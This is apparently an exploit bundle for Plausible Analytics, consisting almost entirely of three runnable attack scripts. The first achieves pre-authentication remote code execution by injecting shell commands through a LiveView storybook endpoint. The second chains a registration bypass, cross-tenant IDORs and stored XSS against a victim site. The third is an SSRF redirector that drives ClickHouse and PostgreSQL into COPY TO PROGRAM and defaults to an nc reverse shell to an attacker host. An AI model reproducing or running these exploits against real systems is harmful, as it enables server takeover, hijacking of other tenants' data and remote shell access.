Plausible Analytics: Pre-Auth RCE, Cross-Tenant IDORs, and SSRF-to-RCE

#!/usr/bin/env bun
// pre-auth rce 

const PATH =
  "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn";
const CHILD_ID = "plausible_web_storybook_button-playground-preview";
const REPLY_TIMEOUT_MS = 8000;

const usage = (): never => {
  console.error("usage: bun poc.ts <target-url> [command]");
  console.error('  example: bun poc.ts http://localhost:8000 "uname -a"');
  process.exit(1);
};

const sleep = (ms: number): Promise<void> =>
  new Promise((resolve) => setTimeout(resolve, ms));

const parseTarget = (raw: string): { host: string; wsHost: string } => {
  let url: URL;

  try {
    url = new URL(raw);
  } catch {
    throw new Error(`invalid url: ${raw}`);
  }

  if (url.protocol !== "http:" && url.protocol !== "https:") {
    throw new Error(
      `unsupported protocol: ${url.protocol} (expected http or https)`,
    );
  }

  const wsProtocol = url.protocol === "https:" ? "wss:" : "ws:";

  return {
    host: url.origin,
    wsHost: `${wsProtocol}//${url.host}`,
  };
};

const targetArg = process.argv[2] ?? usage();
const { host: HOST, wsHost: WS_HOST } = parseTarget(targetArg);

const UA =
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36";

const BROWSER_HEADERS: Record<string, string> = {
  "User-Agent": UA,
  Accept:
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  "Accept-Language": "en-US,en;q=0.9",
  "Accept-Encoding": "gzip, deflate, br",
  "Cache-Control": "no-cache",
  Pragma: "no-cache",
  "Sec-Ch-Ua-Mobile": "?0",
  "Sec-Ch-Ua-Platform": '"macOS"',
  "Sec-Fetch-Dest": "iframe",
  "Sec-Fetch-Mode": "navigate",
  "Sec-Fetch-Site": "same-origin",
  "Sec-Fetch-User": "?1",
  "Upgrade-Insecure-Requests": "1"
};

const WS_BROWSER_HEADERS: Record<string, string> = {
  "User-Agent": UA,
  "Accept-Language": "en-US,en;q=0.9",
  "Cache-Control": "no-cache",
  Pragma: "no-cache",
  "Sec-Ch-Ua-Mobile": "?0",
  "Sec-Ch-Ua-Platform": '"macOS"'
};

const matchOne = (re: RegExp, s: string): string | null => {
  const m = s.match(re);
  return m?.[1] ?? null;
};

const matchAll = (re: RegExp, s: string): string[] =>
  [...s.matchAll(re)].flatMap((m) => (m[1] === undefined ? [] : [m[1]]));

type Page = {
  body: string;
  cookie: string;
  csrf: string;
  sessions: string[];
  statics: string[];
  phxIds: string[];
};

const fetchPage = async (url: string): Promise<Page> => {
  const res = await fetch(url, {
    redirect: "manual",
    headers: BROWSER_HEADERS,
    tls: { rejectUnauthorized: false },
  } as any);
  const body = await res.text();
  const setCookie = res.headers.get("set-cookie") ?? "";

  log.info(`status code: ${res.status}`);

  return {
    body,
    cookie: matchOne(/(_plausible_key=[^;,]+)/, setCookie) ?? "",
    csrf: matchOne(/<meta content="([^"]+)" name="csrf-token">/, body) ?? "",
    sessions: matchAll(/data-phx-session="([^"]+)"/g, body),
    statics: matchAll(/data-phx-static="([^"]+)"/g, body),
    phxIds: matchAll(/id="(phx-[^"]+)"/g, body),
  };
};

const openSocket = (csrf: string, cookie: string): Promise<WebSocket> => {
  const url = `${WS_HOST}/live/websocket?_csrf_token=${encodeURIComponent(csrf)}&_track_static[0]=&_mounts=0&vsn=2.0.0`;
  const ws = new WebSocket(url, {
    headers: {
      ...WS_BROWSER_HEADERS,
      Cookie: cookie,
    },
    tls: { rejectUnauthorized: false },
  } as any);

  return new Promise((resolve, reject) => {
    ws.addEventListener("open", () => resolve(ws), { once: true });
    ws.addEventListener("error", (e) => reject(e), { once: true });
  });
};

type Frame = [string | null, string | null, string, string, any];

const parseFrame = (raw: string): Frame | null => {
  try {
    const arr = JSON.parse(raw);
    return Array.isArray(arr) && arr.length >= 5 ? (arr as Frame) : null;
  } catch {
    return null;
  }
};

const isReplyTo =
  (ref: string) =>
  (raw: string): boolean => {
    const f = parseFrame(raw);
    return !!f && f[1] === ref && f[3] === "phx_reply";
  };

const makeReceiver = (ws: WebSocket) => {
  const queue: string[] = [];
  const waiters: ((msg: string) => void)[] = [];

  ws.addEventListener("message", (ev: MessageEvent) => {
    const data =
      typeof ev.data === "string"
        ? ev.data
        : new TextDecoder().decode(ev.data as ArrayBuffer);
    const next = waiters.shift();
    if (next) next(data);
    else queue.push(data);
  });

  return (timeoutMs: number): Promise<string | null> => {
    if (queue.length) return Promise.resolve(queue.shift()!);
    return new Promise((resolve) => {
      const fn = (msg: string) => {
        clearTimeout(timer);
        resolve(msg);
      };
      const timer = setTimeout(() => {
        const i = waiters.indexOf(fn);
        if (i >= 0) waiters.splice(i, 1);
        resolve(null);
      }, timeoutMs);
      waiters.push(fn);
    });
  };
};

type Receiver = (timeoutMs: number) => Promise<string | null>;

const awaitFrame = async (
  recv: Receiver,
  match: (frame: string) => boolean,
  timeoutMs: number,
): Promise<{ matched: string | null; skipped: string[] }> => {
  const skipped: string[] = [];
  const deadline = Date.now() + timeoutMs;
  while (true) {
    const remaining = deadline - Date.now();
    if (remaining <= 0) return { matched: null, skipped };
    const msg = await recv(remaining);
    if (msg === null) return { matched: null, skipped };
    if (match(msg)) return { matched: msg, skipped };
    skipped.push(msg);
  }
};

const sendJoin = (
  ws: WebSocket,
  ref: string,
  topic: string,
  session: string,
  staticToken: string,
  csrf: string,
): void => {
  ws.send(
    JSON.stringify([
      ref,
      ref,
      `lv:${topic}`,
      "phx_join",
      {
        url: `${HOST}${PATH}`,
        params: { _csrf_token: csrf, _mounts: 0 },
        session,
        static: staticToken,
      },
    ]),
  );
};

const sendExploit = (ws: WebSocket, ref: string, payload: string): void => {
  ws.send(
    JSON.stringify([
      ref,
      ref,
      `lv:${CHILD_ID}`,
      "event",
      {
        type: "click",
        event: "psb-assign",
        value: { variation_id: "default", type: payload },
      },
    ]),
  );
};

const buildPayload = (cmd: string): string => {
  const elixir = `elem(System.cmd(${JSON.stringify("sh")}, ["-c", ${JSON.stringify(cmd)}]), 0)`;
  return `foo" pwned={${elixir}} a="`;
};

const replyStatus = (raw: string): string | null => {
  const f = parseFrame(raw);
  return f?.[4]?.status ?? null;
};

const findChildSessionInReply = (
  raw: string,
  parent: string,
): string | null => {
  const f = parseFrame(raw);
  if (!f) return null;
  // The rendered HTML lives nested inside the phx_reply payload as plain (not JSON-escaped) strings.
  const tokens: string[] = [];
  const walk = (n: unknown): void => {
    if (typeof n === "string") {
      for (const m of n.matchAll(/data-phx-session="([^"]+)"/g)) {
        if (m[1] !== undefined) tokens.push(m[1]);
      }
    } else if (Array.isArray(n)) n.forEach(walk);
    else if (n && typeof n === "object") Object.values(n).forEach(walk);
  };
  walk(f[4]);
  return tokens.find((t) => t !== parent) ?? null;
};

const decodeHtml = (s: string): string =>
  s
    .replace(/&quot;/g, '"')
    .replace(/&#39;/g, "'")
    .replace(/&amp;/g, "&")
    .replace(/&lt;/g, "<")
    .replace(/&gt;/g, ">");

const findPwned = (node: unknown): string | null => {
  if (typeof node === "string") {
    const m = node.match(/pwned="([^"]*)"/);
    return m?.[1] ?? null;
  }
  if (Array.isArray(node)) {
    return node.reduce<string | null>((acc, v) => acc ?? findPwned(v), null);
  }
  if (node && typeof node === "object") {
    return Object.values(node).reduce<string | null>(
      (acc, v) => acc ?? findPwned(v),
      null,
    );
  }
  return null;
};

const extractOutput = (raw: string): string | null => {
  const f = parseFrame(raw);
  if (!f) return null;
  const found = findPwned(f[4]);
  return found === null ? null : decodeHtml(found);
};

const c = {
  reset: "\x1b[0m",
  dim: "\x1b[2m",
  bold: "\x1b[1m",
  red: "\x1b[31m",
  green: "\x1b[32m",
  yellow: "\x1b[33m",
  blue: "\x1b[34m",
  cyan: "\x1b[36m",
};

const log = {
  info: (msg: string): void => console.log(`${c.blue}[*]${c.reset} ${msg}`),
  ok: (msg: string): void => console.log(`${c.green}[+]${c.reset} ${msg}`),
  warn: (msg: string): void => console.log(`${c.yellow}[!]${c.reset} ${msg}`),
  fail: (msg: string): void => console.log(`${c.red}[-]${c.reset} ${msg}`),
  result: (label: string, body: string): void =>
    console.log(`${c.bold}${c.green}[+] ${label}${c.reset}\n${body}`),
};

const awaitReplyOk = async (
  recv: Receiver,
  ref: string,
  step: string,
): Promise<string | null> => {
  const { matched } = await awaitFrame(recv, isReplyTo(ref), REPLY_TIMEOUT_MS);
  if (!matched) {
    log.fail(`${step}: no reply for ref=${ref} within ${REPLY_TIMEOUT_MS}ms`);
    return null;
  }
  const status = replyStatus(matched);
  if (status !== "ok") {
    log.fail(`${step}: reply status=${status ?? "?"}`);
    return null;
  }
  return matched;
};

const main = async (): Promise<void> => {
  const cmd = process.argv[3] ?? "id";

  log.info(`Plausible v3.0.0 <= v3.2.0 Pre-Auth RCE PoC`)
  log.info(`target  ${HOST}${PATH}`);
  log.info(`command ${c.bold}${cmd}${c.reset}`);

  const page = await fetchPage(`${HOST}${PATH}`);
  if (!page.csrf) return log.fail("csrf token not found in response");
  if (!page.cookie) return log.fail("session cookie not set");
  const [phxId] = page.phxIds;
  const [parentSession] = page.sessions;
  const [parentStatic, childStatic] = page.statics;
  if (!phxId || !parentSession || !parentStatic || !childStatic) {
    return log.fail(
      `incomplete LiveView tokens (phxIds=${page.phxIds.length}, sessions=${page.sessions.length}, statics=${page.statics.length})`,
    );
  }
  log.ok(`csrf=${page.csrf.slice(0, 12)}… cookie=${page.cookie.slice(0, 24)}…`);
  log.ok(
    `parsed ${page.sessions.length} session(s), ${page.statics.length} static(s), phx-id=${phxId}`,
  );

  await sleep(100);

  const ws = await openSocket(page.csrf, page.cookie);
  log.ok("websocket connected");
  const recv = makeReceiver(ws);

  log.info("joining parent ComponentIframeLive");
  sendJoin(ws, "1", phxId, parentSession, parentStatic, page.csrf);
  const parentReply = await awaitReplyOk(recv, "1", "parent join");
  if (!parentReply) {
    ws.close();
    return;
  }
  log.ok(`parent joined (${parentReply.length}B)`);

  const childSession = findChildSessionInReply(parentReply, parentSession);
  if (!childSession) {
    log.fail("child session not found in parent reply");
    ws.close();
    return;
  }
  log.ok(`child session ${childSession.slice(0, 32)}…`);

  log.info("joining child PlaygroundPreviewLive");
  sendJoin(ws, "2", CHILD_ID, childSession, childStatic, page.csrf);
  const childReply = await awaitReplyOk(recv, "2", "child join");
  if (!childReply) {
    ws.close();
    return;
  }
  log.ok(`child joined (${childReply.length}B)`);

  const payload = buildPayload(cmd);
  log.info(`firing injection ${c.dim}${payload}${c.reset}`);
  sendExploit(ws, "3", payload);
  const exploitReply = await awaitReplyOk(recv, "3", "exploit");
  if (!exploitReply) {
    ws.close();
    return;
  }

  ws.close();

  const output = extractOutput(exploitReply);
  if (output === null) {
    log.fail('no pwned="…" attribute in response - payload did not render');
    return;
  }
  log.result(`output of \`${cmd}\``, output.trimEnd());
};

main().catch((err) => {
  console.error(err);
  process.exit(1);
});

#!/usr/bin/env bun
// registration bypass + cross tenant idors + stored xss

const BASE = "http://127.0.0.1:8002";
const WS = BASE.replace(/^http/, "ws") + "/live/websocket";
const UA = "Mozilla/5.0";

const VICTIM_SITE_ID = 1; // Target site_id -> whoareme.com == 1 in my case.
const VICTIM_DOMAIN = "whoareme.com";

const TS = Date.now();
const email = `pwn-${TS}@attacker.com`;
const password = "AttackerPassword12345!";
const attackerDomain = `attacker-${TS}.com`;

const XSS_PAYLOAD =
  "Edit me: " + "‎ ".repeat(100) + "'+alert(document.domain)+'";
const PAGE_PATH = `/xss`;

const c = {
  reset: "\x1b[0m",
  bold: "\x1b[1m",
  red: "\x1b[31m",
  green: "\x1b[32m",
  yellow: "\x1b[33m",
};
const log = {
  hdr: (m: string) => console.log(`\n${c.bold}== ${m} ==${c.reset}`),
  ok: (m: string) => console.log(`  ${c.green}[+]${c.reset} ${m}`),
  fail: (m: string) => console.log(`  ${c.red}[-]${c.reset} ${m}`),
  warn: (m: string) => console.log(`  ${c.yellow}[!]${c.reset} ${m}`),
  info: (m: string) => console.log(`  [*] ${m}`),
};
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
const m1 = (re: RegExp, s: string) => s.match(re)?.[1] ?? null;
const formBody = (f: Record<string, string | number>) =>
  new URLSearchParams(
    Object.entries(f).map(([k, v]) => [k, String(v)]),
  ).toString();

const jar = new Map<string, string>();
function applySetCookie(h: Headers) {
  const raws = (h as any).getSetCookie?.() ?? [h.get("set-cookie") ?? ""];
  for (const raw of raws as string[]) {
    const m = raw.match(/^([^=]+)=([^;]+)/);
    if (m) jar.set(m[1], m[2]);
  }
}
const cookieHeader = () =>
  [...jar.entries()].map(([k, v]) => `${k}=${v}`).join("; ");
async function http(path: string, init: RequestInit = {}): Promise<Response> {
  const r = await fetch(BASE + path, {
    ...init,
    redirect: "manual",
    headers: {
      "User-Agent": UA,
      Cookie: cookieHeader(),
      ...(init.headers ?? {}),
    },
  });
  applySetCookie(r.headers);
  return r;
}

type LV = {
  joinReply: any;
  html: string;
  frames: () => any[];
  event: (ref: string, value: any, cid?: number | null) => Promise<any>;
  close: () => void;
};

async function lvOpen(mountUrl: string): Promise<LV> {
  const u = new URL(mountUrl, BASE);
  const page = await http(u.pathname + u.search);
  if (page.status !== 200)
    throw new Error(`mount HTTP ${page.status} on ${mountUrl}`);
  const html = await page.text();
  const csrf = m1(/name="csrf-token"[^>]*content="([^"]+)"/, html);
  const session = m1(/data-phx-session="([^"]+)"/, html);
  const staticTok = m1(/data-phx-static="([^"]+)"/, html);
  const phxId = m1(/id="(phx-[^"]+)"/, html);
  if (!csrf || !session || !phxId)
    throw new Error(`LV tokens missing on ${mountUrl}`);

  const ws = new WebSocket(
    `${WS}?_csrf_token=${encodeURIComponent(csrf)}&_track_static[0]=&_mounts=0&vsn=2.0.0`,
    {
      headers: { Cookie: cookieHeader(), Origin: BASE, "User-Agent": UA },
    } as any,
  );
  await new Promise<void>((res, rej) => {
    ws.addEventListener("open", () => res(), { once: true });
    ws.addEventListener("error", (e) => rej(e), { once: true });
  });

  const all: any[] = [];
  const inbox: any[] = [];
  ws.addEventListener("message", (ev: MessageEvent) => {
    const data =
      typeof ev.data === "string"
        ? ev.data
        : new TextDecoder().decode(ev.data as ArrayBuffer);
    try {
      const a = JSON.parse(data);
      all.push(a);
      inbox.push(a);
    } catch {}
  });
  const wait = async (ref: string, ms = 8000) => {
    const dl = Date.now() + ms;
    while (Date.now() < dl) {
      while (inbox.length) {
        const a = inbox.shift();
        if (a[1] === ref && a[3] === "phx_reply") return a;
      }
      await sleep(20);
    }
    return null;
  };

  ws.send(
    JSON.stringify([
      "1",
      "1",
      `lv:${phxId}`,
      "phx_join",
      {
        url: mountUrl,
        params: { _csrf_token: csrf, _mounts: 0 },
        session,
        static: staticTok,
        sticky: false,
      },
    ]),
  );
  const joinReply = await wait("1");
  if (joinReply?.[4]?.status !== "ok")
    throw new Error(
      `phx_join failed on ${mountUrl}: ${JSON.stringify(joinReply).slice(0, 300)}`,
    );

  return {
    joinReply,
    html,
    frames: () => all.slice(),
    event: async (ref, value, cid) => {
      const payload = cid != null ? { ...value, cid } : value;
      ws.send(JSON.stringify(["1", ref, `lv:${phxId}`, "event", payload]));
      const reply = await wait(ref);
      await sleep(80);
      return reply;
    },
    close: () => ws.close(),
  };
}

// Merge every component ("c") map seen across all frames.
function mergeComponents(frames: any[]): Record<string, any> {
  const out: Record<string, any> = {};
  for (const f of frames) {
    const resp = f?.[4]?.response;
    const c = resp?.diff?.c ?? resp?.c;
    if (c && typeof c === "object")
      for (const k of Object.keys(c)) out[k] = c[k];
  }
  return out;
}
// The Modal LiveComponent's cid — taken from a `JS.push("open", target: <cid>)`
// command embedded in the rendered tree (data-onopen attribute).
function findModalCid(frames: any[]): number {
  const blob = JSON.stringify(frames).replace(/&quot;/g, '"');
  const m = blob.match(
    /"event":"open"[^}]*?"target":(\d+)|"target":(\d+)[^}]*?"event":"open"/,
  );
  if (!m) throw new Error("modal cid (open-event target) not found");
  return Number(m[1] ?? m[2]);
}

function findFormCid(frames: any[]): number {
  const c = mergeComponents(frames);
  const cid = Object.keys(c).find((k) =>
    JSON.stringify(c[k]).includes("save-goal"),
  );
  if (!cid)
    throw new Error("form cid (component containing save-goal) not found");
  return Number(cid);
}

function findShieldCid(html: string, event: string): number {
  const m =
    html.match(new RegExp(`phx-submit="${event}"\\s+phx-target="(\\d+)"`)) ??
    html.match(new RegExp(`phx-target="(\\d+)"[^>]*phx-submit="${event}"`));
  if (!m) throw new Error(`shield form cid not found for ${event}`);
  return Number(m[1]);
}

async function main() {
  log.info(
    `target ${BASE}  victim=${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID})`,
  );
  log.info(`attacker ${email}`);

  log.hdr(`Stage 0: anonymous bypass-register ${email}`);
  {
    const lv = await lvOpen(`${BASE}/register/invitation/garbage`);
    const r = await lv.event("2", {
      type: "form",
      event: "register",
      value: formBody({
        "user[name]": "yoyo",
        "user[email]": email,
        "user[password]": password,
        "user[password_confirmation]": password,
        "h-captcha-response": "",
      }),
    });
    lv.close();
    if (r?.[4]?.status !== "ok")
      throw new Error(`register failed: ${JSON.stringify(r).slice(0, 300)}`);
    log.ok(`registered (DISABLE_REGISTRATION=invite_only bypassed)`);
  }

  log.hdr("Stage 1: log in");
  {
    const csrf = m1(
      /name="_csrf_token"[^>]*value="([^"]+)"/,
      await (await http("/login")).text(),
    );
    if (!csrf) throw new Error("login csrf not found");
    const r = await http("/login", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: formBody({ _csrf_token: csrf, email, password }),
    });
    if (r.status !== 302) throw new Error(`login failed status=${r.status}`);
    log.ok(`logged in -> ${r.headers.get("location")}`);
  }

  log.hdr(`Stage 2: create attacker site ${attackerDomain}`);
  {
    const html = await (await http("/sites/new")).text();
    const csrf =
      m1(/<input name="_csrf_token"[^>]*value="([^"]+)"/, html) ??
      m1(/name="csrf-token"[^>]*content="([^"]+)"/, html);
    if (!csrf) throw new Error("create-site csrf not found");
    const r = await http("/sites", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: formBody({
        _csrf_token: csrf,
        "site[domain]": attackerDomain,
        "site[timezone]": "Etc/UTC",
      }),
    });
    if (r.status !== 302) throw new Error(`POST /sites status=${r.status}`);
    log.ok(`created -> ${r.headers.get("location")}`);
  }

  log.hdr(
    "Stage 3: plant scroll goal with Alpine XSS payload (on attacker site)",
  );
  {
    const lv = await lvOpen(`${BASE}/${attackerDomain}/settings/goals`);
    const modalCid = findModalCid(lv.frames());
    await lv.event("2", {
      type: "click",
      event: "add-goal",
      value: { "goal-type": "scroll" },
    });
    await lv.event("3", { type: "click", event: "open", value: {} }, modalCid);
    const formCid = findFormCid(lv.frames());
    log.info(`modal cid=${modalCid}  form cid=${formCid}`);
    const r = await lv.event(
      "4",
      {
        type: "form",
        event: "save-goal",
        value: formBody({
          "goal[page_path]": PAGE_PATH,
          "goal[scroll_threshold]": 90,
          "goal[display_name]": XSS_PAYLOAD,
        }),
      },
      formCid,
    );
    lv.close();
    if (r?.[4]?.status !== "ok")
      throw new Error(
        `save-goal(create) failed: ${JSON.stringify(r).slice(0, 300)}`,
      );
    log.ok(
      `scroll goal created on attacker site (display_name = ${XSS_PAYLOAD})`,
    );
  }

  log.hdr("Stage 4: resolve the new goal id");
  let goalId: number;
  {
    const html = await (await http(`/${attackerDomain}/settings/goals`)).text();
    const ids = [...html.matchAll(/phx-value-goal-id="(\d+)"/g)].map((m) =>
      Number(m[1]),
    );
    if (ids.length === 0)
      throw new Error("no goal-id found on attacker goal-settings page");
    goalId = Math.max(...ids);
    log.ok(`goal id = ${goalId}`);
  }

  log.hdr(
    `Stage 5: re-parent goal ${goalId} -> ${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID})`,
  );
  {
    const lv = await lvOpen(`${BASE}/${attackerDomain}/settings/goals`);
    const modalCid = findModalCid(lv.frames());
    await lv.event("2", {
      type: "click",
      event: "edit-goal",
      value: { "goal-id": String(goalId) },
    });
    await lv.event("3", { type: "click", event: "open", value: {} }, modalCid);
    const formCid = findFormCid(lv.frames());
    log.info(`modal cid=${modalCid}  form cid=${formCid}`);
    const r = await lv.event(
      "4",
      {
        type: "form",
        event: "save-goal",
        value: formBody({
          "goal[site_id]": VICTIM_SITE_ID, // <-- the IDOR: mass-assigned
          "goal[page_path]": PAGE_PATH,
          "goal[scroll_threshold]": 90,
          "goal[display_name]": XSS_PAYLOAD,
        }),
      },
      formCid,
    );
    lv.close();
    if (r?.[4]?.status !== "ok")
      throw new Error(
        `save-goal(update/re-parent) failed: ${JSON.stringify(r).slice(0, 300)}`,
      );
    log.ok(
      `save-goal(update) status=ok — goal re-parented onto ${VICTIM_DOMAIN}`,
    );
  }

  log.hdr(`Stage 6: cross-tenant Shield-rule IDOR -> ${VICTIM_DOMAIN}`);
  {
    const shieldRules = [
      {
        slug: "hostnames",
        event: "save-hostname-rule",
        fields: {
          "hostname_rule[site_id]": VICTIM_SITE_ID,
          "hostname_rule[hostname]": `google.com`,
          "hostname_rule[action]": "allow",
        },
      },
      {
        slug: "ip_addresses",
        event: "save-ip-rule",
        fields: {
          "ip_rule[site_id]": VICTIM_SITE_ID,
          "ip_rule[inet]": `203.0.113.${TS % 254}`,
          "ip_rule[description]": `pwned`,
          "ip_rule[action]": "deny",
        },
      },
      {
        slug: "pages",
        event: "save-page-rule",
        fields: {
          "page_rule[site_id]": VICTIM_SITE_ID,
          "page_rule[page_path]": `/pwn`,
          "page_rule[action]": "deny",
        },
      },
      {
        slug: "countries",
        event: "save-country-rule",
        fields: {
          "country_rule[site_id]": VICTIM_SITE_ID,
          "country_rule[country_code]": "US",
          "country_rule[action]": "deny",
        },
      },
    ];

    for (const rule of shieldRules) {
      const lv = await lvOpen(
        `${BASE}/${attackerDomain}/settings/shields/${rule.slug}`,
      );
      const cid = findShieldCid(lv.html, rule.event);
      const r = await lv.event(
        "2",
        { type: "form", event: rule.event, value: formBody(rule.fields) },
        cid,
      );
      lv.close();
      log.ok(`${rule.event} reply status=${r?.[4]?.status}`);
    }
  }

  log.hdr("DONE — goal stored-XSS + shield IDOR planted on victim");
  log.ok(
    `Goal ${goalId} now belongs to ${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID}).`,
  );
  log.info(
    `Trigger: a ${VICTIM_DOMAIN} owner/admin opens  ${BASE}/${VICTIM_DOMAIN}/settings/goals`,
  );
  log.info(`         and clicks "edit" on goal "${PAGE_PATH}".`);
}

main().catch((e) => {
  console.error(e);
  process.exit(1);
});

interface Env {
  CH_HOST?: string;
  CH_PORT?: string;
  PG_HOST?: string;
  PG_PORT?: string;
  PG_USER?: string;
  PG_PASS?: string;
  PG_DB?: string;
  DICT_NAME?: string;
  PROG?: string;
  LHOST?: string;
  LPORT?: string;
}

function revShell(lhost: string, lport: string) {
  return `sh -c "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ${lhost} ${lport} >/tmp/f"`;
}

function buildPayload(env: Env, q: URLSearchParams) {
  const pick = (k: keyof Env, qk: string, fallback: string) =>
    q.get(qk) ?? env[k] ?? fallback;

  const CH_HOST = pick("CH_HOST", "ch", "plausible_events_db");
  const CH_PORT = pick("CH_PORT", "ch_port", "8123");
  const PG_HOST = pick("PG_HOST", "pg", "plausible_db");
  const PG_PORT = pick("PG_PORT", "pg_port", "5432");
  const PG_USER = pick("PG_USER", "pg_user", "postgres");
  const PG_PASS = pick("PG_PASS", "pg_pass", "postgres");
  const PG_DB = pick("PG_DB", "pg_db", "plausible_db");
  const DICT = pick("DICT_NAME", "dict", "pwn_dict");
  const LHOST = pick("LHOST", "lhost", "host.docker.internal");
  const LPORT = pick("LPORT", "lport", "4444");
  const PROG = pick("PROG", "prog", revShell(LHOST, LPORT));

  const CH = `http://${CH_HOST}:${CH_PORT}/`;

  const PG_INJ_RAW = `SELECT 1::bigint as id, 'x'::text as v) TO PROGRAM $$${PROG}$$; --`;
  const PG_INJ_CH1 = PG_INJ_RAW.replace(/'/g, "''");

  const CREATE_DICT_BODY =
    `CREATE OR REPLACE DICTIONARY default.${DICT} (id UInt64, v String) ` +
    `PRIMARY KEY id ` +
    `SOURCE(POSTGRESQL(host '${PG_HOST}' port ${PG_PORT} user '${PG_USER}' ` +
    `password '${PG_PASS}' db '${PG_DB}' query '${PG_INJ_CH1}')) ` +
    `LAYOUT(FLAT()) LIFETIME(MIN 0 MAX 1)`;


  const OUTER_INSERT =
    `INSERT INTO FUNCTION url('${CH}', RawBLOB, 'q String') ` +
    `VALUES ('${CREATE_DICT_BODY.replace(/'/g, "''")}')`;

  const TRIGGER = `SELECT dictGet('default.${DICT}', 'v', toUInt64(1))`;

  return {
    CH,
    URL_CREATE: `${CH}?query=${encodeURIComponent(OUTER_INSERT)}`,
    URL_TRIGGER: `${CH}?query=${encodeURIComponent(TRIGGER)}`,
  };
}

export default {
  async fetch(req: Request, env: Env): Promise<Response> {
    const url = new URL(req.url);
    const { CH, URL_CREATE, URL_TRIGGER } = buildPayload(env, url.searchParams);


    if (url.pathname === "/plausible-sso-verification") {
      return new Response(null, {
        status: 302,
        headers: { Location: URL_CREATE, "Cache-Control": "no-store" },
      });
    }

    if (url.pathname === "/") {
      return new Response(null, {
        status: 302,
        headers: { Location: URL_TRIGGER, "Cache-Control": "no-store" },
      });
    }

    return new Response("ok\n", { headers: { "Content-Type": "text/plain" } });
  },
};